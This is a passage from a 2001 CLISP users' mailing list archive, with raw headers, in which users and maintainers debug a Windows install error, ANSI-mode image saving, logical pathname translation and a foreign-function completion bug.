C:\temp\randy\clisp-2.26>lisp -M lispinist.mem lisp: operating system error during load of initialisation file `lispinist.mem' GetLastError() = 0x0 (ERROR_SUCCESS): The operation completed successfully. I have installed CLISP in Windows 2000 and non P4 without problems... Can someone provide insight? Randy ------_=_NextPart_001_01C10584.72FBA180 Content-Type: text/html; charset="iso-8859-1" P4 and CLISP Installation...
Problem solved... it did not like the "."  in the directory path...
 
Randy
 
-----Original Message-----
From: Justice, Randy -CONT(DYN) [mailto:Randy.Justice@cnet.navy.mil]
Sent: Thursday, July 05, 2001 12:55 PM
To: clisp-list
Subject: [clisp-list] P4 and CLISP Installation...


According to the installation instructions
Installation:
-------------

Change the strings in src/config.lisp, using a text editor.
Then start

         lisp.exe -M lispinit.mem

When I try to install on a Windows 2000 and P4 box, I get..

C:\temp\randy\clisp-2.26>lisp -M lispinist.mem
lisp: operating system error during load of initialisation file `lispinist.mem'
 GetLastError() = 0x0 (ERROR_SUCCESS): The operation completed successfully.

I have installed CLISP in Windows 2000 and non P4 without problems...

Can someone provide insight?

Randy

------_=_NextPart_001_01C10584.72FBA180-- From stig@ii.uib.no Sat Jul 07 08:18:41 2001 Received: from eik.ii.uib.no ([129.177.16.3] helo=ii.uib.no) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Itqx-0005NT-00 for ; Sat, 07 Jul 2001 08:18:39 -0700 Received: from apal-192.ii.uib.no (apal.ii.uib.no) [129.177.192.27] by ii.uib.no with esmtp (Exim 3.03) id 15Itqt-0003dc-00 for ; Sat, 07 Jul 2001 17:18:35 +0200 Received: (from stig@localhost) by apal.ii.uib.no (8.9.3+Sun/8.9.3) id RAA22612 for clisp-list@lists.sourceforge.net; Sat, 7 Jul 2001 17:18:35 +0200 (MEST) Date: Sat, 7 Jul 2001 17:18:35 +0200 From: Stig E Sandoe To: clisp-list@lists.sourceforge.net Message-ID: <20010707171834.A22503@apal.ii.uib.no> Mail-Followup-To: Stig E Sandoe , clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] making ANSI-image Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: hi, I'm trying to make a clisp-image that is in ANSI-mode initially, but I have some problems: [Using current cvs] stig@palomba(17:39)[~] 565> clisp -norc -q -ansi [1]> custom::*ansi* T [2]> (ext:saveinitmem "test.mem" :quiet t) 904596 ; 524288 [3]> stig@palomba(17:39)[~] 566> clisp -norc -M test.mem [1]> custom::*ansi* NIL [2]> custom:*print-pathnames-ansi* NIL [3]> This contradicts the docs which says: """ Please note that if you run CLISP with the -a switch or set the SYMBOL-MACRO custom:*ansi* to T and save image, then all subsequent invocations of CLISP with this image will be as if with -a (regardless whether you actually supply the -a switch) """ [Noting that -a tells me to use -ansi] Any ideas? -- ------------------------------------------------------------------ Stig Erik Sandoe stig@ii.uib.no http://www.ii.uib.no/~stig/ From peter.wood@worldonline.dk Sat Jul 07 22:18:16 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15J6xS-0006Lv-00 for ; Sat, 07 Jul 2001 22:18:14 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 6FE86B4D1 for ; Sun, 8 Jul 2001 07:18:10 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f685CwJ00200 for clisp-list@lists.sourceforge.net; Sun, 8 Jul 2001 07:12:58 +0200 Date: Sun, 8 Jul 2001 07:12:58 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] making ANSI-image Message-ID: <20010708071258.A173@localhost.localdomain> References: <20010707171834.A22503@apal.ii.uib.no> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010707171834.A22503@apal.ii.uib.no>; from stig@ii.uib.no on Sat, Jul 07, 2001 at 05:18:35PM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Sat, Jul 07, 2001 at 05:18:35PM +0200, Stig E Sandoe wrote: > hi, > > I'm trying to make a clisp-image that is in ANSI-mode initially, > but I have some problems: [Using current cvs] ^^^^^^^^^^^^^^^^ The same problem seems to exist in 2.26. I setf custom:*ansi* to t and dumped an image, but custom:*ansi* is NIL in that image. Peter From stig@ii.uib.no Sun Jul 08 16:53:48 2001 Received: from eik.ii.uib.no ([129.177.16.3] helo=ii.uib.no) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15JON0-0000aF-00 for ; Sun, 08 Jul 2001 16:53:46 -0700 Received: from apal-192.ii.uib.no (apal.ii.uib.no) [129.177.192.27] by ii.uib.no with esmtp (Exim 3.03) id 15JOMw-0007M0-00 for ; Mon, 09 Jul 2001 01:53:42 +0200 Received: (from stig@localhost) by apal.ii.uib.no (8.9.3+Sun/8.9.3) id BAA28802 for clisp-list@lists.sourceforge.net; Mon, 9 Jul 2001 01:53:42 +0200 (MEST) Date: Mon, 9 Jul 2001 01:53:42 +0200 From: Stig E Sandoe To: clisp-list@lists.sourceforge.net Message-ID: <20010709015342.A28775@apal.ii.uib.no> Mail-Followup-To: Stig E Sandoe , clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] pathname problems Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: hi, I am trying to get a recent clisp cvs version working with common-lisp-controller on Debian but run into an issue which I find odd. Maybe someone can explain what is correct: stig@palomba(21:35)[~] 710> clisp -norc -q -ansi [1]> (load "/etc/clisprc") ;; Loading file /etc/clisprc ... ;; Loading file /usr/share/common-lisp/source/common-lisp-controller/common-lisp-controller.lisp ... ;; Loading of file /usr/share/common-lisp/source/common-lisp-controller/common-lisp-controller.lisp is finished. ;; Loading of file /etc/clisprc is finished. T [2]> (logical-pathname-translations "cl-systems") ((#S(LOGICAL-PATHNAME :HOST "CL-SYSTEMS" :DEVICE NIL :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "SYSTEM" :VERSION NIL) #P"/usr/share/common-lisp/systems/**/.system") (#S(LOGICAL-PATHNAME :HOST "CL-SYSTEMS" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME NIL :TYPE "SYSTEM" :VERSION NIL) #P"/usr/share/common-lisp/systems/**/.system")) [3]> (make-pathname :host "CL-SYSTEMS" :device nil :directory '(:absolute) :name "clocc-port" :type "system" :version nil) #S(LOGICAL-PATHNAME :HOST "CL-SYSTEMS" :DEVICE NIL :DIRECTORY (:ABSOLUTE) :NAME "clocc-port" :TYPE "system" :VERSION NIL) [4]> (namestring *) *** - TRANSLATE-LOGICAL-PATHNAME: No replacement rule for #S(LOGICAL-PATHNAME :HOST "CL-SYSTEMS" :DEVICE NIL :DIRECTORY (:ABSOLUTE) :NAME "clocc-port" :TYPE "system" :VERSION NIL) is known. 1. Break [5]> [6]> (merge-pathnames "cl-systems:" "metering.system") #S(LOGICAL-PATHNAME :HOST "CL-SYSTEMS" :DEVICE NIL :DIRECTORY (:ABSOLUTE) :NAME "METERING" :TYPE "SYSTEM" :VERSION :NEWEST) [7]> (namestring *) "/usr/share/common-lisp/systems/metering.system" [8]> (merge-pathnames "cl-systems:" #p"metering.system") #S(LOGICAL-PATHNAME :HOST "CL-SYSTEMS" :DEVICE NIL :DIRECTORY (:ABSOLUTE) :NAME "METERING" :TYPE "SYSTEM" :VERSION :NEWEST) [9]> (namestring *) "/usr/share/common-lisp/systems/metering.system" is there any reason why the translation at [4] should blow up? I've also tested with version :newest but no effect. [This message was postponed and I later found that things depended on :TYPE being upper-case.. any particular reason? Seems non-intuitive to me at least. ] -- ------------------------------------------------------------------ Stig Erik Sandoe stig@ii.uib.no http://www.ii.uib.no/~stig/ From csr21@cam.ac.uk Mon Jul 09 01:03:31 2001 Received: from mauve.csi.cam.ac.uk ([131.111.8.38]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15JW0v-0003Ms-00 for ; Mon, 09 Jul 2001 01:03:29 -0700 Received: from lambda.jesus.cam.ac.uk ([131.111.229.91] ident=mail) by mauve.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 15JW0n-0006PF-00; Mon, 09 Jul 2001 09:03:21 +0100 Received: from csr21 by lambda.jesus.cam.ac.uk with local (Exim 3.22 #1 (Debian)) id 15JW0m-0000FI-00; Mon, 09 Jul 2001 09:03:20 +0100 Date: Mon, 9 Jul 2001 09:03:20 +0100 To: Stig E Sandoe Cc: CLISP Subject: Re: [clisp-list] pathname problems Message-ID: <20010709090320.A927@cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20010709015342.A28775@apal.ii.uib.no> User-Agent: Mutt/1.3.18i From: Christophe Rhodes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Mon, Jul 09, 2001 at 01:53:42AM +0200, Stig E Sandoe wrote: > [2]> (logical-pathname-translations "cl-systems") > ((#S(LOGICAL-PATHNAME :HOST "CL-SYSTEMS" :DEVICE NIL > :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "SYSTEM" :VERSION NIL) > #P"/usr/share/common-lisp/systems/**/.system") > (#S(LOGICAL-PATHNAME :HOST "CL-SYSTEMS" :DEVICE NIL > :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME NIL :TYPE "SYSTEM" :VERSION NIL) > #P"/usr/share/common-lisp/systems/**/.system")) > is there any reason why the translation at [4] should blow up? I've > also tested with version :newest but no effect. > > [This message was postponed and I later found that things depended > on :TYPE being upper-case.. any particular reason? Seems non-intuitive > to me at least. ] If you look at your translations, you have a translation for :type "SYSTEM", but not for :type "system". Since filenames are in principle case-sensitive (and since we're in :case :common, :type "SYSTEM" corresponds to a physical extension of ".system" on Unix), there's no real reason other than intuition to expect a translation for :type "system" to automagically appear. I think, anyway; this is too early on a Monday morning to be reasoning about logical pathnames... Cheers, Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From csr21@cam.ac.uk Mon Jul 09 05:25:46 2001 Received: from lilac.csi.cam.ac.uk ([131.111.8.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Ja6j-0004p1-00 for ; Mon, 09 Jul 2001 05:25:45 -0700 Received: from lambda.jesus.cam.ac.uk ([131.111.229.91] ident=mail) by lilac.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 15Ja6c-000394-00 for clisp-list@lists.sourceforge.net; Mon, 09 Jul 2001 13:25:38 +0100 Received: from csr21 by lambda.jesus.cam.ac.uk with local (Exim 3.22 #1 (Debian)) id 15Ja6b-00085y-00; Mon, 09 Jul 2001 13:25:37 +0100 Date: Mon, 9 Jul 2001 13:25:37 +0100 To: CLISP Message-ID: <20010709132537.A30703@cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.18i From: Christophe Rhodes Subject: [clisp-list] Bug? in make-pathname Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I'm afraid I have a slightly clobbered CVS version of clisp; could you check whether the following occurs for you: [1]> *ansi* T [2]> (setf (logical-pathname-translations "MY-HOST") (list '(";**;*.*.*" "/tmp/**/*.*"))) [...] [3]> (pathname-directory "**/.cl") (:RELATIVE :WILD-INFERIORS) [4]> (make-pathname :defaults "**/.cl" :host "MY-HOST") #S(LOGICAL-PATHNAME :HOST "MY-HOST" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME NIL :TYPE "CL" :VERSION NIL) Should the directory component of the result of the make-pathname call there not be (:RELATIVE :WILD-INFERIORS)? Thanks, Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From sds@gnu.org Mon Jul 09 08:00:01 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15JcW1-00017K-00 for ; Mon, 09 Jul 2001 08:00:01 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA26301; Mon, 9 Jul 2001 10:59:56 -0400 (EDT) X-Envelope-To: To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] completion breaks in linux package References: <20010704214018.A360@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010704214018.A360@localhost.localdomain> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 Date: 09 Jul 2001 10:59:23 -0400 Message-ID: Lines: 139 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010704214018.A360@localhost.localdomain> > * On the subject of "[clisp-list] completion breaks in linux package" > * Sent on Wed, 4 Jul 2001 21:40:18 +0200 > * Honorable Peter Wood writes: > > (linux:get_ => > > *** - SYSTEM::FUNCTION-SIGNATURE: # "get_current_dir_name" #x0805007C> is not a function. try this: user[6]: > (disassemble 'sys::function-signature) Disassembly of function system::function-signature (CONST 0) = system::function-name-p (CONST 1) = fdefinition (CONST 2) = system::signature (CONST 3) = 16 (CONST 4) = 12 (CONST 5) = 13 (CONST 6) = 19 (CONST 7) = 18 (CONST 8) = ffi:foreign-function (CONST 9) = system::foreign-function-in-arg-count (CONST 10) = 0 (CONST 11) = "~S: ~S is not a function." (CONST 12) = system::language (CONST 13) = system::function-signature 1 required arguments 1 optional arguments No rest parameter No keyword parameters 0 (unbound->nil 1) 2 (load&push 2) 3 (call1&jmpifnot 0 l14) ; system::function-name-p 6 (load&push 2) 7 (calls1&jmpifnot 79 l14) ; fboundp 10 (load&push 2) 11 (call1 1) ; fdefinition 13 (store 2) 14 l14 14 (load&push 2) 15 (calls2&jmpif 8 l58) ; system::closurep 18 (load&push 2) 19 (calls2&push 37) ; type-of 21 (jmpifeqto 8 l102) ; ffi:foreign-function 25 (load&push 2) 26 (calls1 1) ; system::subr-info 28 (nv-to-stack 6) 30 (load&jmpifnot 5 l116) 34 (push) 35 (load&push 5) 36 (load&push 5) 37 (load&push 5) 38 (load 5) 39 l39 39 (push) 40 (load&push 6) 41 (load&push 6) 42 (stack-to-mv 7) 44 (skip&ret 9) 46 l46 46 (load&push 2) 47 (call1 2) ; system::signature 49 (nv-to-stack 6) 51 (load&push 8) 52 (load&push 6) 53 (load&push 6) 54 (load&push 6) 55 (load 6) 56 (jmp l39) 58 l58 58 (load&push 2) 59 (calls2&jmpif 7 l46) ; compiled-function-p 62 (load&push 2) 63 (const&push 3) ; 16 64 (calls2&push 41) ; system::%record-ref 66 (load&push 3) 67 (load&push 4) 68 (const&push 4) ; 12 69 (calls2&push 41) ; system::%record-ref 71 (load&push 5) 72 (const&push 5) ; 13 73 (calls2&push 41) ; system::%record-ref 75 (load&push 6) 76 (const&push 6) ; 19 77 (calls2&push 41) ; system::%record-ref 79 (load&push 4) 80 (calls2 6) ; numberp 82 (not) 83 (push) 84 (load&push 5) 85 (calls2 6) ; numberp 87 (not) 88 (jmpifnot l93) 90 (load&push 5) 91 (calls1 157) ; copy-list 93 l93 93 (push) 94 (load&push 9) 95 (const&push 7) ; 18 96 (calls2&push 41) ; system::%record-ref 98 (stack-to-mv 7) 100 (skip&ret 4) 102 l102 102 (load&push 2) 103 (load&push 3) 104 (call1&push 9) ; system::foreign-function-in-arg-count 106 (const&push 10) ; 0 107 (push-nil 4) 109 (stack-to-mv 7) 111 (skip&ret 3) 113 l113 113 (values0) 114 (skip&ret 9) 116 l116 116 (load&jmpif 7 l113) 119 (const&push 11) ; "~S: ~S is not a function." 120 (push-nil 2) 122 (call&push 3 12) ; system::language 125 (const&push 13) ; system::function-signature 126 (load&push 10) 127 (callsr 2 30) ; error # does your disassembly mention ffi::foreign-function? try these: (fdefinition 'linux:get_current_dir_name) (type-of *) did you build your clisp yourself? CVS or distribution? Thanks for your bug report -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The only time you have too much fuel is when you're on fire. From sds@gnu.org Mon Jul 09 08:01:43 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15JcXf-0001GC-00 for ; Mon, 09 Jul 2001 08:01:43 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA26649; Mon, 9 Jul 2001 11:01:38 -0400 (EDT) X-Envelope-To: To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] Bug? in make-pathname References: <20010709132537.A30703@cam.ac.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010709132537.A30703@cam.ac.uk> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 Date: 09 Jul 2001 11:01:03 -0400 Message-ID: Lines: 35 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010709132537.A30703@cam.ac.uk> > * On the subject of "[clisp-list] Bug? in make-pathname" > * Sent on Mon, 9 Jul 2001 13:25:37 +0100 > * Honorable Christophe Rhodes writes: > > I'm afraid I have a slightly clobbered CVS version of clisp; could you > check whether the following occurs for you: > > [1]> *ansi* > T > [2]> (setf (logical-pathname-translations "MY-HOST") > (list '(";**;*.*.*" "/tmp/**/*.*"))) > [...] > [3]> (pathname-directory "**/.cl") > (:RELATIVE :WILD-INFERIORS) > [4]> (make-pathname :defaults "**/.cl" :host "MY-HOST") > #S(LOGICAL-PATHNAME :HOST "MY-HOST" :DEVICE NIL > :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME NIL :TYPE "CL" :VERSION NIL) > > Should the directory component of the result of the make-pathname call > there not be (:RELATIVE :WILD-INFERIORS)? this behavior is correct. _physical_ pathname "**/foo" is _relative_ _physical_ pathname "/**/foo" is _absolute_ _logical_ pathname "**;foo" is _absolute_ _logical_ pathname ";**;foo" is _relative_ see CLHS. this is idiotic (IMHO), but this is the standard. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on I'd give my right arm to be ambidextrous. From sds@gnu.org Mon Jul 09 08:07:10 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Jccv-0001nC-00 for ; Mon, 09 Jul 2001 08:07:09 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA27621; Mon, 9 Jul 2001 11:07:07 -0400 (EDT) X-Envelope-To: To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] making ANSI-image References: <20010707171834.A22503@apal.ii.uib.no> <20010708071258.A173@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010708071258.A173@localhost.localdomain> Date: 09 Jul 2001 11:06:33 -0400 Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010708071258.A173@localhost.localdomain> > * On the subject of "Re: [clisp-list] making ANSI-image" > * Sent on Sun, 8 Jul 2001 07:12:58 +0200 > * Honorable Peter Wood writes: > > On Sat, Jul 07, 2001 at 05:18:35PM +0200, Stig E Sandoe wrote: > > > > I'm trying to make a clisp-image that is in ANSI-mode initially, > > but I have some problems: [Using current cvs] > ^^^^^^^^^^^^^^^^ > The same problem seems to exist in 2.26. I setf custom:*ansi* to t > and dumped an image, but custom:*ansi* is NIL in that image. confirmed - I broke this on 2001-05-01. sorry. thanks for reporting. fix in progress - please monitor clisp-devel. PS: bugs in the CVS versions should be reported to clisp-devel, not clisp-list. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Apathy Club meeting this Friday. If you want to come, you're not invited. From csr21@cam.ac.uk Mon Jul 09 08:28:57 2001 Received: from mauve.csi.cam.ac.uk ([131.111.8.38]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Jcxz-00054b-00 for ; Mon, 09 Jul 2001 08:28:55 -0700 Received: from lambda.jesus.cam.ac.uk ([131.111.229.91] ident=mail) by mauve.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 15Jcxt-0005xL-00; Mon, 09 Jul 2001 16:28:49 +0100 Received: from csr21 by lambda.jesus.cam.ac.uk with local (Exim 3.22 #1 (Debian)) id 15Jcxs-00019N-00; Mon, 09 Jul 2001 16:28:48 +0100 Date: Mon, 9 Jul 2001 16:28:48 +0100 From: Christophe Rhodes To: Sam Steingold Cc: CLISP Subject: Re: [clisp-list] Bug? in make-pathname Message-ID: <20010709162848.B2632@cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.18i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Mon, Jul 09, 2001 at 11:01:03AM -0400, Sam Steingold wrote: > > * In message <20010709132537.A30703@cam.ac.uk> > > * On the subject of "[clisp-list] Bug? in make-pathname" > > * Sent on Mon, 9 Jul 2001 13:25:37 +0100 > > * Honorable Christophe Rhodes writes: > > > > I'm afraid I have a slightly clobbered CVS version of clisp; could you > > check whether the following occurs for you: > > > > [1]> *ansi* > > T > > [2]> (setf (logical-pathname-translations "MY-HOST") > > (list '(";**;*.*.*" "/tmp/**/*.*"))) > > [...] > > [3]> (pathname-directory "**/.cl") > > (:RELATIVE :WILD-INFERIORS) > > [4]> (make-pathname :defaults "**/.cl" :host "MY-HOST") > > #S(LOGICAL-PATHNAME :HOST "MY-HOST" :DEVICE NIL > > :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME NIL :TYPE "CL" :VERSION NIL) > > > > Should the directory component of the result of the make-pathname call > > there not be (:RELATIVE :WILD-INFERIORS)? > > this behavior is correct. I don't think so; see my slightly more detailed reasoning below. > _physical_ pathname "**/foo" is _relative_ > _physical_ pathname "/**/foo" is _absolute_ > _logical_ pathname "**;foo" is _absolute_ > _logical_ pathname ";**;foo" is _relative_ I'm aware of this, but I think it has little bearing on the issue. #p"**/foo" is equivalent to (modulo *read-eval* and friends) #.(make-pathname :directory '(:relative :wild-inferiors) :name "foo") So, (make-pathname :defaults "**/foo" :host "MY-HOST") should fill in missing components (i.e. those not directly specified in the call) from the value of the :defaults keyword argument, which has a :directory component of (:relative :wild-inferiors). It is this that should be copied over to the newly-created pathname, not a quasi-physical namestring representation. So in other words I think the logic in (make-pathname :defaults #p"**/foo" :host "MY-HOST") should go: 1. Find all the explicitly-named components, and make a new pathname structure with those values. Here, this would be a pathname structure with host "MY-HOST" and everything else some magical uninitialized value. 2. For each of the slots containing magical uninitialized values, copy across the value of the corresponding slot from the :defaults argument. In this case, this would add a :directory of (:relative :wild-inferiors), a :name of "foo" and the other uninitialized components would come from the values of *default-pathname-defaults* that prevailed when that (make-pathname ...) form was read (since #p effectively calls parse-namestring). I hope that this is clear (at least as clear as the HS on make-pathname and merge-pathnames, which I think we can agree aren't terribly...). But basically I think that the :directory component shouldn't be changed by being copied from a physical to a logical pathname. (Note that at least cmucl/sbcl and OpenMCL disagree with your interpretation and seem to follow my reasoning; I accept that this in itself isn't evidence, but it at least indicates that it's deeper than it might at first seem). Cheers, Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From peter.wood@worldonline.dk Mon Jul 09 10:24:22 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Jelg-0006rH-00 for ; Mon, 09 Jul 2001 10:24:21 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 7F7E5B4C8 for ; Mon, 9 Jul 2001 19:24:16 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f69HCke00199; Mon, 9 Jul 2001 19:12:46 +0200 Date: Mon, 9 Jul 2001 19:12:46 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] completion breaks in linux package Message-ID: <20010709191246.A165@localhost.localdomain> References: <20010704214018.A360@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Mon, Jul 09, 2001 at 10:59:23AM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Mon, Jul 09, 2001 at 10:59:23AM -0400, Sam Steingold wrote: > > * Honorable Peter Wood writes: > > > > (linux:get_ => > > > > *** - SYSTEM::FUNCTION-SIGNATURE: # > "get_current_dir_name" #x0805007C> is not a function. > > try this: > > user[6]: > (disassemble 'sys::function-signature) > does your disassembly mention ffi::foreign-function? No. It has system::foreign-function where your output said ffi:foreign-function. > try these: > (fdefinition 'linux:get_current_dir_name) > (type-of *) > The first returns: # And the second returns: FFI::FOREIGN-FUNCTION > did you build your clisp yourself? CVS or distribution? I got it from cons.org and built it myself. clisp --version: GNU CLISP 2.26 (released 2001-05-23) (built 3202023995) (memory 3202025137) If I remember correctly, I applied all the patches except the directory access one. > The only time you have too much fuel is when you're on fire. :-) Regards, Peter From sds@gnu.org Mon Jul 09 11:19:25 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Jfcz-0004DU-00 for ; Mon, 09 Jul 2001 11:19:25 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA06594; Mon, 9 Jul 2001 14:19:20 -0400 (EDT) X-Envelope-To: To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] completion breaks in linux package References: 